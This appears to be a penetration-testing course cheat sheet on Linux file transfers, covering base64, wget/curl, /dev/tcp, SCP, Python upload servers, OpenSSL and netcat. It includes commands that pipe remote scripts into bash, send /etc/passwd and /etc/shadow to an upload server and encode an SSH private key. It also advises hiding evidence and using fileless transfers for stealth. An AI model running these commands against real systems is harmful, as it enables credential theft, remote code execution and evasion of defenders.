Linux File Transfers

Linux File Transfers

Linux systems provide numerous native tools for transferring files across networks. Understanding these methods is essential for security professionals conducting assessments or responding to incidents.

Base64 Encoding/Decoding

Base64 encoding allows transferring files without requiring traditional file transfer protocols, which is particularly useful for text-based terminal sessions.

Encoding and Transferring Files

# Check original file hash
md5sum id_rsa
4e301756a07ded0a2dd6953abf015278  id_rsa

# Encode file to base64
cat id_rsa | base64 -w 0

# Result: LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhr...

Decoding on Target System

# Decode base64 string to file
echo -n 'LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnph...' | base64 -d > id_rsa

# Verify file integrity
md5sum id_rsa
4e301756a07ded0a2dd6953abf015278  id_rsa

Web Downloads

Most Linux distributions include utilities that can interact with web servers for file transfers.

Using wget

# Basic file download
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

# Download with custom user agent
wget --user-agent="Mozilla/5.0" -O /tmp/file.txt https://target-site.com/file.txt

# Resume interrupted download
wget -c https://example.com/largefile.iso

Using curl

# Basic file download
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# Silent download (no progress meter)
curl -s -o /tmp/file.txt https://example.com/file.txt

# Follow redirects
curl -L -o /tmp/file.txt https://example.com/file.txt

Fileless Attacks

Linux pipes allow executing downloaded content directly without saving to disk.

Direct Execution with curl

# Download and execute script
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

# Download and pipe to interpreter
curl https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Direct Execution with wget

# Download and execute
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3

Bash /dev/tcp Downloads

When common utilities are unavailable, Bash's built-in networking capabilities can be used.

# Connect to remote server
exec 3<>/dev/tcp/10.10.10.32/80

# Send HTTP GET request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

# Read and process response
cat <&3 | tail -n +10 > LinEnum.sh 
# (tail -n +10 skips HTTP headers)

SSH/SCP Transfers

Secure Copy Protocol (SCP) provides encrypted file transfers using SSH.

Setting Up SSH Server

# Enable SSH server
sudo systemctl enable ssh

# Start SSH server
sudo systemctl start ssh

# Verify SSH is running
netstat -lnpt | grep ssh

Downloading with SCP

# Download file from remote host
scp plaintext@192.168.49.128:/root/myroot.txt .

# Download directory recursively
scp -r plaintext@192.168.49.128:/path/to/directory .

Uploading with SCP

# Upload file to remote host
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

# Upload directory recursively
scp -r /local/directory htb-student@10.129.86.90:/home/htb-student/

Python Web Server

Python's built-in HTTP server modules provide a quick way to serve files.

Starting a Web Server

# Python 3
python3 -m http.server 8000

# Python 2.7
python2.7 -m SimpleHTTPServer 8000

# Specify interface and port
python3 -m http.server --bind 192.168.1.10 8080

Alternative Web Servers

# PHP web server
php -S 0.0.0.0:8000

# Ruby web server
ruby -run -ehttpd . -p8000

Web Server with Upload Capability

Standard Python HTTP servers don't support file uploads. The uploadserver module adds this functionality.

Setting Up Upload Server

# Install uploadserver
sudo pip3 install uploadserver

# Basic HTTP upload server
python3 -m uploadserver

# HTTPS upload server with certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Uploading Files to Server

# Upload single file using curl
curl -X POST http://192.168.49.128:8000/upload -F 'files=@/etc/passwd'

# Upload multiple files
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

OpenSSL Transfers

OpenSSL can be used to create encrypted connections for file transfers.

Server Side

# Create certificate
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

# Start OpenSSL server with file
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Client Side

# Connect and download file
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Netcat Transfers

Netcat (nc) provides a simple way to transfer files between systems.

Receiving Side

# Listen for incoming data and save to file
nc -lvnp 8000 > received_file.txt

Sending Side

# Send file data
cat file.txt | nc 192.168.49.128 8000

Troubleshooting Network Restrictions

Identifying Available Outbound Protocols

# Test HTTP outbound
curl -s -m 3 http://example.com > /dev/null && echo "HTTP allowed" || echo "HTTP blocked"

# Test HTTPS outbound
curl -s -m 3 https://example.com > /dev/null && echo "HTTPS allowed" || echo "HTTPS blocked"

# Test DNS outbound
dig +short example.com @8.8.8.8 > /dev/null && echo "DNS allowed" || echo "DNS blocked"

Common Errors and Solutions

Unable to Connect

wget: unable to resolve host address
curl: (6) Could not resolve host

Solution: Check DNS settings or use IP address instead of hostname.

Connection Timeout

wget: connection timed out
curl: (28) Connection timed out

Solution: Verify network connectivity or try alternate port/protocol.

Permission Denied

curl: (13) Permission denied

Solution: Check file permissions or run with appropriate privileges.

Best Practices

  1. Use encrypted transfers (HTTPS, SCP) when possible

  2. Verify file integrity using checksums (md5sum, sha256sum)

  3. Clean up after transfers to avoid leaving evidence

  4. Prefer native tools that are likely to be available

  5. Consider fileless transfers for stealth operations

  6. Create temporary users for SCP/SSH transfers rather than using existing credentials

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